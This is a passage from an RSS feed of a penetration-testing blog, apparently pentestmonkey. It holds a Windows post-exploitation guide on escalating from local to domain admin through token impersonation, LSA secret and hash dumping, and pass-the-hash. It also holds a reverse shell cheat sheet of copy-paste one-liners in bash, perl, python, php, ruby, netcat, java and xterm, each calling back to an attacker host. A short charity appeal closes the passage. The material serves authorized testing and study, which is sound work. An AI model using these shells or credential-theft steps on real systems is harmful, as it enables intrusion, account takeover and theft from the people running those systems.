<pre>subst s: c:\share</pre>
<p>Then you can configure mstsc.exe to only share your S: drive, leaving you less exposed.</p>
<p>Nice tip, Ken.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Post-Exploitation in Windows: From Local Admin To Domain Admin (efficiently)</title>
		<link>https://pentestmonkey.net/uncategorized/from-local-admin-to-domain-admin</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 11 Sep 2011 16:28:06 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[windows]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=479</guid>

					<description><![CDATA[There are some excellent tools and techniques available to pentesters trying to convert their local admin rights into domain admin rights.  This page seeks to provide a reminder of some of the most common and useful techniques as well as rating their effectiveness to suggest which ones to try first. The premise of all the [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>There are some excellent tools and techniques available to pentesters trying to convert their local admin rights into domain admin rights.  This page seeks to provide a reminder of some of the most common and useful techniques as well as rating their effectiveness to suggest which ones to try first.</p>
<p>The premise of all the techniques is to obtain access to as many domain accounts as possible using the credentials stored on the domain member you&#8217;ve compromised.</p>
<p>Tools are briefly discussed for each technique.  This page is really about the techniques, though, not the tools.  While tools will change, I suspect these techniques will be with us for some considerable time yet.</p>
<p>I&#8217;ve tried to rate each technique in order of how much effort it is for the pentester.  Some technqiues give almost instant results and are therefore worth trying first.  Others require password cracking and are a last resort really if nothing else works.</p>
<h3>Very Quick: Duplicate Access Tokens (Incognito)</h3>
<p><a href="http://sourceforge.net/projects/incognito/">Incognito</a>, either as a standalone tool, or via <a href="http://carnal0wnage.attackresearch.com/2008/05/token-passing-with-incognito-part-2.html">metasploit&#8217;s meterpreter</a> will scan through all the running processes on the box and list you the delegation tokens it finds.  Without doing any analysis yourself you can try creating a domain admin account with each token.  If it succeeds without any effort on your part, so much the better.</p>
<p>If you don&#8217;t succeed in getting a domain admin account straight away, you may still be able to abuse the privileges of a normal domain user (e.g. to list domain accounts and group memberships).  Perhaps try the techniques below before trying too hard&#8230;</p>
<h3>Quick: Dump LSA Secrets (lsadump)</h3>
<p>If any Windows services are running under a domain account, then the passwords for those accounts must be stored locally in a reversible format.  <a href="http://packetstormsecurity.org/files/view/10457/lsadump2.zip">LSAdump2</a>, <a href="http://www.nirsoft.net/utils/lsa_secrets_dump.html">LSASecretsDump</a>, <a href="http://packetstormsecurity.org/files/view/62371/PWDumpX14.zip">pwdumpx</a>, gsecdump or <a href="http://www.oxid.it/cain.html">Cain &amp; Abel</a> can recover these.</p>
<p>You might have to stare at the output of lsadump and the list of services in</p>
<p>After you&#8217;ve correlated plain text passwords from the &#8220;_SC_&lt;service name&gt;&#8221; sections of LSAdump with the domain usernames from services.msc using the short &#8220;service name&#8221;, you should a list of domain accounts and cleartext passwords.</p>
<p>Investigate your new found accounts and see if you&#8217;re domain admin yet.</p>
<h3>Quick: Dump SAM-Style Hashes for Access Tokens (WCE)</h3>
<p><a href="http://www.ampliasecurity.com/research/wcefaq.html">Windows Credentials Editor</a> (a more mature version of the now obsolete <a href="http://oss.coresecurity.com/projects/pshtoolkit.htm">Pass The Hash Toolkit</a>) recovers the SAM-style password hash for each process from LSASS &#8211; including domain accounts.  Initially, this has a similar effect to Incognito.  But has a couple of advantages:</p>
<ul>
<li>You can authenticate using the hash long after the corresponding process has terminated or the system has been rebooted.  You can do this using <a href="http://www.ampliasecurity.com/research/wcefaq.html">WCE</a> itself, or use tools like <a href="http://technet.microsoft.com/en-us/sysinternals/bb897553">psexec</a> (<a href="http://www.windowsecurity.com/articles/PsExec-Nasty-Things-It-Can-Do.html">example here</a>), <a href="http://blog.tenablesecurity.com/2007/06/lmntlm-hash-sup.html">smbshell</a> and <a href="http://www.offensive-security.com/metasploit-unleashed/PSexec_Pass_The_Hash">metasploit&#8217;s psexec</a> to authenticate using a password hash instead of a password.</li>
<li>You can try the password hash in conjunction with a different username (or all usernames) using <a href="http://code.google.com/p/keimpx/">keimpx</a>, or similar.  You&#8217;re hoping for password reuse at this stage.</li>
</ul>
<p>Gsecdump is an alternative tool for obtaining password hashes for running processes.</p>
<p>If SAM-style hashes aren&#8217;t sufficient for some reason, <a href="http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf">WCE can also steal kerberos tickets</a> (PDF link) &#8211; e.g. to authenticate to unix systems.  Pass-the-ticket as opposed to pass-the-hash.</p>
<h3>Quick: Dump SAM, Spray Hashes</h3>
<p>Dumping the password hashes from the local SAM using <a href="http://www.foofus.net/~fizzgig/fgdump/">fgdump</a>, <a href="http://www.tarasco.org/security/pwdump_7/">pwdump7</a>, <a href="http://www.oxid.it/cain.html">Cain &amp; Abel</a>, etc. won&#8217;t necessarily get you a domain account, but if one of the local passwords is the same as one of the domain passwords, you might be in luck.  <a href="http://code.google.com/p/keimpx/">Keimpx</a> will help you try the hashes again the domain accounts.</p>
<p>Careful not to lock the domain accounts out, though!</p>
<p>It&#8217;s probably worth spraying the hashes against the local accounts on other systems.  If you fail to get domain admin, you might get local admin on every other system if the local admin passwords are the same.  You can then rinse and repeat the techniques on this page until you get your domain admin account.</p>
<h3>Slow: Cracking SAM-Style Password Hashes Crack Passwords</h3>
<p>If you&#8217;ve already tried authenticating using the hashes you&#8217;ve collected and you&#8217;ve tried hashes against other accounts, there&#8217;s probably little value in cracking the passwords.  <a href="http://www.openwall.com/john/">John the Ripper</a>, <a href="http://www.oxid.it/cain.html">Cain &amp; Abel</a> and <a href="http://ophcrack.sourceforge.net/">ophcrack</a> are just a few of the password crackers available.</p>
<p>You might find a pattern in the passwords used.  Possibly crack hashes from the password history too.</p>
<p>Another reason to crack passwords is if you&#8217;re targeting a service that insists on you knowing the password &#8211; e.g. Terminal Services.</p>
<p>It&#8217;s starting to feel like a longshot now&#8230;</p>
<h3>Very Slow: Dump Cached Domain Logons, Crack</h3>
<p>If the domain member has cached domain logons, you might be able to recover passwords from the corresponding hashes (e.g. using  <a href="http://www.foofus.net/~fizzgig/fgdump/">fgdump</a>, <a href="http://packetstormsecurity.org/files/view/62371/PWDumpX14.zip">pwdumpx</a>, <a href="http://www.hacktoolrepository.com/files/Passwords/CacheDump/cachedump-1.2.zip">cachedump</a>, <a href="http://www.room362.com/blog/2011/2/14/cachedump-for-meterpreter-in-action.html">meterpreter</a>).  However, hashes are salted and they&#8217;re case sensitive.  If there&#8217;s a reasonable password policy, you&#8217;re going to need some luck.</p>
<p>You can&#8217;t use these hashes without cracking them &#8211; unlike the SAM-style hashes.</p>
<h3>Other Techniques</h3>
<p>There are of course other many other techniques you could try.  Some are more open-ended or less likely to succeed in the general case.  Here are a few ideas:</p>
<ul>
<li>Trawling the filesystem looking for passwords.  <a href="http://support.microsoft.com/kb/155197">Unattend.txt</a> might have an admin password in it if present.  You can probably recover the SAM from .vhd files.  Other backup files may also yield passwords.</li>
<li>Trawling the registry.  Credentials such as VNC password and SNMP community string can be recovered.  They might be useful on your quest for domain admin.</li>
<li>Protected Storage.   This might yield passwords that are reused elsewhere.</li>
</ul>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Reverse Shell Cheat Sheet</title>
		<link>https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sun, 04 Sep 2011 15:50:49 +0000</pubDate>
				<category><![CDATA[Shells]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[reverseshell]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[xterm]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=175</guid>

					<description><![CDATA[If you&#8217;re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you&#8217;ll probably want an interactive shell. If it&#8217;s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>If you&#8217;re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you&#8217;ll probably want an interactive shell.</p>
<p>If it&#8217;s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.</p>
<p>Your options for creating a reverse shell are limited by the scripting languages installed on the target system &#8211; though you could probably upload a binary program too if you&#8217;re suitably well prepared.</p>
<p>The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute &#8220;/bin/sh -i&#8221; with &#8220;cmd.exe&#8221;.</p>
<p>Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they&#8217;re quite short lines, but not very readable.</p>
<h3>Bash</h3>
<p>Some versions of <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/">bash can send you a reverse shell</a> (this was tested on Ubuntu 10.10):</p>
<pre>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</pre>
<h3>PERL</h3>
<p>Here&#8217;s a shorter, feature-free version of the <a href="http://pentestmonkey.net/tools/web-shells/perl-reverse-shell">perl-reverse-shell</a>:</p>
<pre>perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'</pre>
<p>There&#8217;s also an <a href="http://www.plenz.com/reverseshell">alternative PERL revere shell here</a>.</p>
<h3>Python</h3>
<p>This was tested under Linux / Python 2.7:</p>
<pre>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</pre>
<h3>PHP</h3>
<p>This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn&#8217;t work, try 4, 5, 6&#8230;</p>
<pre>php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</pre>
<p>If you want a .php file to upload, see the more featureful and robust <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a>.</p>
<h3>Ruby</h3>
<pre>ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'</pre>
<h3>Netcat</h3>
<p>Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don&#8217;t support the -e option.</p>
<pre>nc -e /bin/sh 10.0.0.1 1234</pre>
<p>If you have the wrong version of netcat installed, <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498">Jeff Price points out here</a> that you might still be able to get your reverse shell back like this:</p>
<pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.0.0.1 1234 &gt;/tmp/f</pre>
<h3>Java</h3>
<pre>r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/10.0.0.1/2002;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()</pre>
<p>[Untested submission from anonymous reader]</p>
<h3>xterm</h3>
<p>One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.</p>
<pre>xterm -display 10.0.0.1:1</pre>
<p>To catch the incoming xterm, start an X-Server (:1 &#8211; which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):</p>
<pre>Xnest :1</pre>
<p>You&#8217;ll need to authorise the target to connect to you (command also run on your host):</p>
<pre>xhost +targetip</pre>
<h3>Further Reading</h3>
<p>Also check out <a href="http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html">Bernardo&#8217;s Reverse Shell One-Liners</a>.  He has some alternative approaches and doesn&#8217;t rely on /bin/sh for his Ruby reverse shell.</p>
<p>There&#8217;s a <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387">reverse shell written in gawk over here</a>.  Gawk is not something that I&#8217;ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>&#8220;Hackers for Charity&#8221; Needs You</title>
		<link>https://pentestmonkey.net/blog/hackers-for-charity-needs-you</link>
		
		<dc:creator><![CDATA[pentestmonkey]]></dc:creator>
		<pubDate>Sat, 03 Sep 2011 10:55:55 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<guid isPermaLink="false">http://pentestmonkey.net/?p=588</guid>

					<description><![CDATA[This is a quick post to draw attention to the request for donations from Hackers for Charity. They need to raise about 785 USD / month to fund the good work they&#8217;re doing in Uganda. Netsparker recently tweeted that they&#8217;re donating 785 USD.  Rapid7 are giving 5000 USD.  There are many more on the Donate [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>This is a quick post to draw attention to the <a href="http://www.hackersforcharity.org/hackers-for-charity/hfc-uganda-going-out-of-business/">request for donations from Hackers for Charity</a>.</p>
<p>They need to raise about 785 USD / month to fund the good work they&#8217;re doing in Uganda.</p>
<p><a href="http://www.mavitunasecurity.com/">Netsparker</a> recently <a href="https://twitter.com/#!/netsparker">tweeted</a> that they&#8217;re donating 785 USD.  <a href="https://community.rapid7.com/community/infosec/blog/2011/09/02/rapid7-contributes-to-hackers-for-charity">Rapid7</a> are giving 5000 USD.  There are many more on the <a href="http://www.hackersforcharity.org/hackers-for-charity/hfc-uganda-going-out-of-business/">Donate Plus Wall</a>.</p>
<p>If you prefer to give regular donations instead of a big lump sum, you can do so on <a href="http://www.hackersforcharity.org/hackers-for-charity/hfc-uganda-going-out-of-business/">the bottom right of this page</a>.</p>
<p>Pentestmonkey has donated 240 USD (12 x 20 USD).  If 39 more hackers do the same, that will cover their current costs for a year.</p>
<p>Can you spare 20 USD / month for a good cause?</p>
<p>PS I hope you&#8217;ll excuse the non-security post.  I try to keep these to a minimum.  I think you&#8217;ll agree that it&#8217;s in a good cause, though.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
